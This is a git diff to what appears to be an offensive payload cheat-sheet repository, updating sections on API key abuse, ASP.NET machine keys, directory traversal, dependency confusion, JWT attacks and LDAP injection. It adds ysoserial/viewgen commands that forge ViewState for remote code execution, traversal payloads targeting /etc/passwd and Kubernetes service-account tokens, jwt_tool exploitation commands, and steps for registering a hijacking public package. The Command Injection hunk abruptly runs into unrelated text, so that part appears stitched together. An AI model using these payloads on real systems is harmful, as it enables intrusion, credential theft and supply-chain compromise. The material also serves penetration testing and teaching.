diff --git a/API Key Leaks/README.md b/API Key Leaks/README.md
index 0bf5e25..ae5fad4 100644
--- a/API Key Leaks/README.md
+++ b/API Key Leaks/README.md
@@ -17,7 +17,7 @@
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- - [Auth Bypass using pre-published Machine Key](#auth-bypass-using-pre-published-machine-key)
+ - [IIS Machine Keys](#iis-machine-keys)
- [Mapbox API Token](#Mapbox-API-Token)
@@ -34,6 +34,23 @@ The following commands can be used to takeover accounts or extract personal info
Use : https://github.com/ozguralp/gmapsapiscanner/
+Usage:
+| Name | Endpoint |
+| --- | --- |
+| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
+| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
+| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
+| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
+| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
+| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
+| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
+| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
+| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
+| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
+| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
+| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
+
+
Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
@@ -99,11 +116,14 @@ curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hoc
```
-### Auth Bypass using pre-published Machine Key
+### IIS Machine Keys
-> By default, ASP.NET creates a Forms Authentication Ticket with unique a username associated with it, Date and Time at which the ticket was issued and expires. So, all you need is just a unique username and a machine key to create a forms authentication token
+> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
-That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
+Requirements
+* machineKey **validationKey** and **decryptionKey**
+* __VIEWSTATEGENERATOR cookies
+* __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
@@ -111,7 +131,62 @@ Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/s
```
-Exploit with [Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
+Common locations of **web.config** / **machine.config**
+* 32-bit
+ * C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
+ * C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
+* 64-bit
+ * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
+ * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
+* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
+ * HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
+ * HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
+
+
+#### Identify known machine key
+
+* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
+* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
+
+```powershell
+# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
+# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
+$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
+[+] ViewState is not encrypted
+[+] Signature algorithm: SHA1
+
+# --encrypteddata : __VIEWSTATE parameter value of the target application
+# --modifier : __VIEWSTATEGENERATOR parameter value
+$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata --purpose=viewstate --modifier= –macdecode
+```
+
+#### Decode ViewState
+
+```powershell
+$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
+
+$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
+```
+
+
+#### Generate ViewState for RCE
+
+**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
+
+```powershell
+$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup " --decryptionalg="AES" --generator=ABABABAB decryptionkey="" --validationalg="SHA1" --validationkey=""
+$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
+$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
+
+$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
+```
+
+
+#### Edit cookies with the machine key
+
+If you have the machineKey but the viewstate is disabled.
+
+ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
```powershell
# decrypt cookie
@@ -121,7 +196,6 @@ $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
-
### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
```
diff --git a/BOOKS.md b/BOOKS.md
index e24ddbf..9267f52 100644
--- a/BOOKS.md
+++ b/BOOKS.md
@@ -1,22 +1,39 @@
-# Book's list
+# Books
-Grab a book and relax, these ones are the best security books (in my opinion).
+> Grab a book and relax. Some of the best books in the industry.
-- [Web Hacking 101](https://leanpub.com/web-hacking-101)
+- [Advanced Penetration Testing: Hacking the World's Most Secure Networks by Wil Allsopp (2017)](https://www.goodreads.com/book/show/32027337-advanced-penetration-testing)
+- [Android Hacker's Handbook by Joshua J. Drake et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
+- [Android Security Internals: An In-Depth Guide to Android's Security Architecture by Nikolay Elenkov (2015)](https://nostarch.com/androidsecurity)
+- [Attacking Network Protocols: A Hacker's Guide to Capture, Analysis, and Exploitation by James Forshaw (2018)](https://nostarch.com/networkprotocols)
+- [Black Hat Go: Go Programming for Hackers and Pentesters by Tom Steele, Chris Patten, and Dan Kottmann (2020)](https://nostarch.com/blackhatgo)
+- [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz (2014)](https://www.goodreads.com/book/show/22299369-black-hat-python)
- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec)
-- [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project)
-- [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn)
-- [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa)
-- [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD)
-- [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE)
-- [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
-- [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit)
-- [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
-- [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
-- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
-- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
-- [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
-- [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
-- [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
-- [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
-- [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking)
+- [Car Hacker's Handbook by Craig Smith (2016)](https://www.nostarch.com/carhacking)
+- [Cyberjutsu: Cybersecurity for the Modern Ninja by Ben McCarty (2021)](https://nostarch.com/cyberjutsu)
+- [Foundations of Information Security: A Straightforward Introduction by Jason Andress (2019)](https://nostarch.com/foundationsinfosec)
+- [Game Hacking: Developing Autonomous Bots for Online Games by Nick Cano (2016)](https://nostarch.com/gamehacking)
+- [Gray Hat Python: Python Programming for Hackers and Reverse Engineers by Justin Seitz (2009)](https://www.goodreads.com/book/show/5044768-gray-hat-python)
+- [Hacking: The Art of Exploitation by Jon Erickson (2004)](https://www.goodreads.com/book/show/61619.Hacking)
+- [iOS Hacker's Handbook by Charlie Miller et al. (2012)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
+- [Metasploit: The Penetration Tester's Guide by David Kennedy (2011)](https://www.nostarch.com/metasploit)
+- [OWASP Testing Guide: Stable](https://owasp.org/www-project-web-security-testing-guide/stable/)
+- [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman (2014)](https://nostarch.com/pentesting)
+- [Pentesting Azure Applications: The Definitive Guide to Testing and Securing Deployments by Matt Burrough (2018)](https://nostarch.com/azure)
+- [Pratical Binary Analysis: Build Your Own Linux Tools for Binary instrumentation, Analysis, and Disassembly by Dennis Andriesse (2019)](https://nostarch.com/binaryanalysis)
+- [Pratical Forensic Imaging: Securing Digital Evidence with Linux Tools by Bruce Nikkel (2016)](https://nostarch.com/forensicimaging)
+- [Pratical IoT Hacking: The Definitive Guide to Attacking the Internet of Things by Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou and Beau Woods (2021)](https://nostarch.com/practical-iot-hacking)
+- [Real-World Bug Hunting: A Field Guide to Web Hacking by Peter Yaworski (2019)](https://nostarch.com/bughunting)
+- [Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats by Alex Matrosov, Eugene Rodionov, and Sergey Bratus (2019)](https://nostarch.com/rootkits)
+- [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking)
+- [The Browser Hacker's Handbook by Wade Alcorn et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
+- [The Database Hacker's Handbook, David Litchfield et al. (2005)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
+- [The Hacker Playbook: Practical Guide To Penetration Testing by Peter Kim (2014)](https://www.goodreads.com/book/show/21846565-the-hacker-playbook)
+- [The Hacker Playbook 2: Practical Guide to Penetration Testing by Peter Kim (2015)](https://www.goodreads.com/book/show/25791488-the-hacker-playbook-2)
+- [The Hacker Playbook 3: Practical Guide to Penetration Testing (Red Team Edition) by Peter Kim (2018)](https://www.goodreads.com/book/show/40028366-the-hacker-playbook-3)
+- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi (2009)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
+- [The Mobile Application Hacker's Handbook by Dominic Chell et al. (2015)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
+- [The Shellcoders Handbook by Chris Anley et al. (2007)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
+- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto (2011)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
+- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by T.J. O'Connor (2012)](https://www.goodreads.com/book/show/16192263-violent-python)
+- [Web Hacking 101](https://leanpub.com/web-hacking-101)
diff --git a/Command Injection/README.md b/Command Injection/README.md
index c309ec1..a4e0d0b 100644
--- a/Command Injection/README.md
+++ b/Command Injection/README.md
@@ -71,23 +71,23 @@ Works on Linux only.
swissky@crashlab:~/Www$ cat A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
+
+## Summary
+
+* [Tools](#tools)
+* [Exploit](#exploitation)
+* [References](#references)
+
+## Exploit
+
+Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
+
+### NPM example
+
+* List all the packages (ie: package.json, composer.json, ...)
+* Find the package missing from https://www.npmjs.com/
+* Register and create a **public** package with the same name
+ * Package example : https://github.com/0xsapra/dependency-confusion-expoit
+
+## References
+
+* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
+* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
+* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
+* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained]( https://www.youtube.com/watch?v=zFHJwehpBrU )
diff --git a/Directory Traversal/Intruder/directory_traversal.txt b/Directory Traversal/Intruder/directory_traversal.txt
index 9df8713..a8bece0 100644
--- a/Directory Traversal/Intruder/directory_traversal.txt
+++ b/Directory Traversal/Intruder/directory_traversal.txt
@@ -129,4 +129,12 @@ C:\boot.ini
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
-/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
\ No newline at end of file
+/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
diff --git a/Directory Traversal/README.md b/Directory Traversal/README.md
index f6ef98f..e459021 100644
--- a/Directory Traversal/README.md
+++ b/Directory Traversal/README.md
@@ -125,6 +125,9 @@ To bypass this behaviour just add forward slashes in front of the url:
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
+/run/secrets/kubernetes.io/serviceaccount/token
+/run/secrets/kubernetes.io/serviceaccount/namespace
+/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
diff --git a/File Inclusion/phpinfolfi.py b/File Inclusion/phpinfolfi.py
index 2f4cc8e..c369232 100644
--- a/File Inclusion/phpinfolfi.py
+++ b/File Inclusion/phpinfolfi.py
@@ -1,7 +1,9 @@
#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
+# The following line is not required but supposedly optimizes code.
+# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
+# from builtins import range
from __future__ import print_function
-from builtins import range
import sys
import threading
import socket
diff --git a/GraphQL Injection/README.md b/GraphQL Injection/README.md
index 27fbb4a..24bb09f 100644
--- a/GraphQL Injection/README.md
+++ b/GraphQL Injection/README.md
@@ -26,6 +26,7 @@
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum)
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
+* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex)
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql)
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/)
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/)
diff --git a/HTTP Parameter Pollution/README.md b/HTTP Parameter Pollution/README.md
index 23c5057..d1e3cee 100644
--- a/HTTP Parameter Pollution/README.md
+++ b/HTTP Parameter Pollution/README.md
@@ -24,22 +24,26 @@ Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads fir
### Table of refence for which technology reads which parameter
When ?par1=a&par1=b
-| Technology | Parsing Result |outcome (par1=)|
-| ------------------ |--------------- |:-------------:|
-| ASP.NET/IIS |All occurrences |a,b |
-| ASP/IIS |All occurrences |a,b |
-| PHP/Apache |Last occurrence |b |
-| PHP/Zues |Last occurrence |b |
-| JSP,Servlet/Tomcat |First occurrence |a |
-| Perl CGI/Apache |First occurrence |a |
-| Python Flask |First occurrence |a |
-| Python Django |Last occurrence |b |
-| Nodejs |All occurrences |a,b |
-| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a |
-| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b |
-
+| Technology | Parsing Result |outcome (par1=)|
+| ------------------ |--------------- |:-------------:|
+| ASP.NET/IIS |All occurrences |a,b |
+| ASP/IIS |All occurrences |a,b |
+| PHP/Apache |Last occurrence |b |
+| PHP/Zues |Last occurrence |b |
+| JSP,Servlet/Tomcat |First occurrence |a |
+| Perl CGI/Apache |First occurrence |a |
+| Python Flask |First occurrence |a |
+| Python Django |Last occurrence |b |
+| Nodejs |All occurrences |a,b |
+| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a |
+| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b |
+| IBM Lotus Domino |First occurrence |a |
+| IBM HTTP Server |First occurrence |a |
+| Perl CGI/Apache |First occurrence |a |
+| mod_wsgi (Python)/Apache |First occurrence |a |
+| Python/Zope |All occurences in array |['a','b'] |
## References
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
-- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
\ No newline at end of file
+- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
diff --git a/Insecure Deserialization/Java.md b/Insecure Deserialization/Java.md
index 0f029e1..7b45d3a 100644
--- a/Insecure Deserialization/Java.md
+++ b/Insecure Deserialization/Java.md
@@ -105,3 +105,4 @@ Payload generators for the following marshallers are included:
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
+- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
\ No newline at end of file
diff --git a/Insecure Deserialization/PHP.md b/Insecure Deserialization/PHP.md
index 14bc206..06d466f 100644
--- a/Insecure Deserialization/PHP.md
+++ b/Insecure Deserialization/PHP.md
@@ -189,7 +189,7 @@ $poc->stopBuffering();
## References
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
-* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
+* [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
diff --git a/Insecure Deserialization/README.md b/Insecure Deserialization/README.md
index 514fd13..14df571 100644
--- a/Insecure Deserialization/README.md
+++ b/Insecure Deserialization/README.md
@@ -24,7 +24,8 @@ Check the following sub-sections, located in other files :
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
-* [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
+* [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
+* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
\ No newline at end of file
diff --git a/JSON Web Token/README.md b/JSON Web Token/README.md
index b7915a2..3e6777a 100644
--- a/JSON Web Token/README.md
+++ b/JSON Web Token/README.md
@@ -6,6 +6,8 @@
- [Tools](#tools)
- [JWT Format](#jwt-format)
+ - [Header](#header)
+ - [Payload](#payload)
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
- [Breaking JWT's secret](#breaking-jwts-secret)
@@ -188,6 +190,7 @@ First, bruteforce the "secret" key used to compute the signature.
```powershell
git clone https://github.com/ticarpi/jwt_tool
+python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
\ \ \ \ \ \
@@ -249,6 +252,13 @@ Your new forged token:
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
```
+* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
+* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
+* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
+* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
+* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
+
+
### JWT cracker
```bash
@@ -266,6 +276,14 @@ Secret is "Sn1f"
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
```
+## CVE
+
+* CVE-2015-2951 - The alg=none signature-bypass vulnerability
+* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
+* CVE-2018-0114 - Key injection vulnerability
+* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
+* CVE-2020-28042 - Null signature vulnerability
+
## References
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
diff --git a/LDAP Injection/README.md b/LDAP Injection/README.md
index f0ba82a..1894a6e 100644
--- a/LDAP Injection/README.md
+++ b/LDAP Injection/README.md
@@ -1,6 +1,17 @@
# LDAP injection
-LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
+> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
+
+## Summary
+
+* [Exploitation](#exploitation)
+* [Payloads](#payloads)
+* [Blind Exploitation](#blind-exploitation)
+* [Defaults attributes](#defaults-attributes)
+* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
+* [Scripts](#scripts)
+ * [Discover valid LDAP fields](#discover-valid-ldap-fields)
+ * [Special blind LDAP injection](#special-blind-ldap-injection)
## Exploitation
@@ -9,7 +20,7 @@ Example 1.
```sql
user = *)(uid=*))(|(uid=*
pass = password
